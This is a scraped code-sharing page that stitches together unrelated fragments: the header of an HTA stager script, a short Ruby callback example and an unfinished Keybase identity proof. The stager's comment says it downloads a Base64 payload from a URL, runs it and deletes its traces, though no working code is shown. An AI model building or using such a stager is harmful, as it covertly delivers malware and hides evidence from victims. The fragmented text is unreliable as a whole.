Skip to content

Instantly share code, notes, and snippets.

!--
Filename: htastager.hta
Author: Upayan a.k.a. slaeryan
Purpose: This is a HTA stager that will download a Base64 payload from a specified URL, decode it back to the original extension and then execute it. Also, it cleans this file and the Base64 payload from disk afterwards.
Usage: Download and run from a browser or with mshta.exe
-->
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="SI"
@cbisnett
cbisnett / my_class.rb
Created November 20, 2016 16:04
Defining callbacks for custom events through a concern
class MyClass
include MyConcern
after_my_event :log_my_event
def log_my_event
logger.info "my_event completed"
end
end

Keybase proof

I hereby claim:

  • I am cbisnett on github.
  • I am cbisnett (https://keybase.io/cbisnett) on keybase.
  • I have a public key whose fingerprint is 869C 6B21 846C ADAD A8C0 8802 AE74 082B 6B81 A58C

To claim this, I am signing this object: